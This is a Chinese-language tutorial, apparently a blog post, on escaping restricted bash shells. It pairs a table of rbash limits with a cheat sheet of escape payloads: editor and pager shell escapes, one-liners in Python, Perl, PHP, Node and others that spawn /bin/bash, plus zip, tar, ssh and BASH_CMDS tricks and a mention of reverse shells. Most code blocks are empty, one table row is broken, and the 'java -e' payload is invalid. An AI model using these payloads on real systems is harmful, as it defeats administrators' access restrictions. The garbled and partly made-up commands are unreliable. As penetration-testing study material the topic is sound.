rbash逃逸相关总结
RBASH 逃逸技术全解指南
1. 什么是 RBASH (Restricted Bash)
RBASH(Restricted Bash)即受限的 Bash Shell,是 Linux 系统中一种限制用户行为的安全机制。管理员通常会为了安全性,限制某些用户(如跳板机用户、FTP 用户)只能在特定目录下执行有限的命令。
常见的受限 Shell 包括 rbash, rksh, rsh 等。
2. RBASH 的限制环境
RBASH 通过限制特定操作来阻止用户访问整个文件系统。以下是常见的限制列表:
| 限制类型 | 详细描述 | 影响 |
|---|---|---|
| 目录切换 | 禁止使用 cd 命令 |
用户无法离开当前工作目录(通常是家目录) |
| 环境变量 | 禁止设置或取消特定环境变量 | 无法修改 SHELL, PATH, ENV, BASH_ENV |
| 命令执行 | 只能执行 PATH 中指定的命令 |
此时 PATH 通常只包含 ls, cat, echo 等极少数命令 |
| 路径限制 | 命令或参数中不能包含 / (斜杠) |
无法直接调用绝对路径下的二进制文件(如 /bin/sh) |
| 重定向 | 禁止使用输出/输入重定向符号 | 禁用 >, `> |
| 功能禁用 | 禁止使用 unset 命令 |
无法取消环境变量或 Shell 函数 |
| 导入限制 | 导入函数定义受限 | 无法通过导入恶意函数进行覆盖 |
3. RBASH 环境搭建(参考)
为了进行测试,可以通过以下命令快速搭建一个 RBASH 环境:
Bash
1 | |
4. RBASH 逃逸手法详解
逃逸的核心思想是:利用当前环境下允许使用的工具、语言或配置缺陷,启动一个新的、不受限的 Shell(如 /bin/bash 或 /bin/sh)。
4.1 利用编辑器和分页器逃逸
许多系统默认安装的编辑器或分页器允许在内部执行 Shell 命令,这是最常见的逃逸途径。
| 工具名称 | 逃逸方法 / 命令 | 原理 |
|---|---|---|
| vi / vim | 打开后进入末行模式输入: :set shell=/bin/bash :shell |
修改编辑器内部的 Shell 变量并启动 |
| ed | 输入: !/bin/bash |
ed 编辑器允许通过 ! 执行外部命令 |
| more | 在查看文件时输入: !'/bin/bash' |
分页器允许通过 ! 执行命令 |
| less | 在查看文件时输入: !'/bin/bash' |
同上 |
| man | 在查看帮助文档时输入: !'/bin/bash' |
man 本质上通常调用 less 或 more |
4.2 利用编程语言逃逸
如果系统安装了以下编程语言环境,且用户有执行权限,可以轻松调用系统命令生成新 Shell。
| 语言环境 | 逃逸 Payload (命令行执行) |
|---|---|
| Python | python -c 'import pty; pty.spawn("/bin/bash");' 或 python -c 'import os; os.system("/bin/bash");' |
| Perl | perl -e 'exec "/bin/bash";' |
| Ruby | ruby -e 'exec "/bin/bash"' |
| PHP | php -r 'system("/bin/bash");' |
| Lua | lua -e 'os.execute("/bin/bash")' |
| Tcl | tclsh 进入交互模式后输入: exec /bin/bash |
| Node.js | node -e 'require("child_process").spawn("/bin/bash", {stdio: "inherit"});' |
| AWK | awk 'BEGIN {system("/bin/bash")}' |
| Java | java -e 'Runtime.getRuntime().exec("/bin/bash");' |
| Expect | expect -c 'spawn /bin/bash; interact' |
4.3 利用系统工具/应用逃逸
某些系统工具具有执行子命令或自定义操作的功能,可被滥用。
zip
利用 zip 压缩时的 --unzip-command 选项执行 Shell。
1 | |
tar
利用 checkpoint 功能在到达检查点时执行命令。
1 | |
ftp
在 ftp 交互模式下使用感叹号执行命令。
1 | |
git
利用 git help 调用分页器的特性。
1 | |
4.4 利用 SSH 逃逸 (重点)
利用 SSH 的特性,在连接时或通过本地 SSH 客户端强制分配终端或执行命令。
方法 1:利用 -t 参数强制执行 Shell
这是最基础的方法,尝试在连接后直接运行 bash。
1 | |
方法 2:强制分配伪终端并绕过配置文件
有些 RBASH 是通过用户的 .bash_profile 或 .bashrc 强制生效的,或者是 /etc/passwd 中指定的 Shell 实际上加载了限制性配置。使用 –noprofile 可以阻止 Bash 加载初始化文件,从而绕过某些基于配置文件的限制。
1 | |
注:此命令既可用于远程连接时的尝试,也可在拿到受限 Shell 后尝试 ssh 连接本机逃逸。
4.5 进阶 Shell 技巧
利用 BASH_CMDS (自定义 Shell)
Bash 维护一个内部哈希表 BASH_CMDS 用于存储命令路径。如果可以修改该数组,可以将任意字符映射到 /bin/bash。
1 | |
直接重新启动一个不加载任何配置文件的 bash
1 | |
利用反弹 Shell
如果当前环境仅限制了路径,但未禁用网络连接工具(如 nc, bash 的 TCP 连接)且未禁用重定向符号(如 >),可以直接反弹一个不受限的 Shell 到攻击机。
前提:重定向符号 < > 未被禁用。
1 | |
5. 逃逸后的环境修复
成功获取 /bin/bash 或 /bin/sh 后,虽然拥有了新的 Shell,但环境变量(如 PATH)通常仍然是受限状态(例如只包含 . 或 /home/user/bin)。为了正常使用系统命令(如 ls, whoami 等),必须重置环境变量。
步骤:
重置 PATH 变量(添加常用系统路径):
Bash
1
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin重置 SHELL 变量(可选):
Bash
1
export SHELL=/bin/bash
完成这两步后,你将拥有一个功能完全正常的交互式 Shell。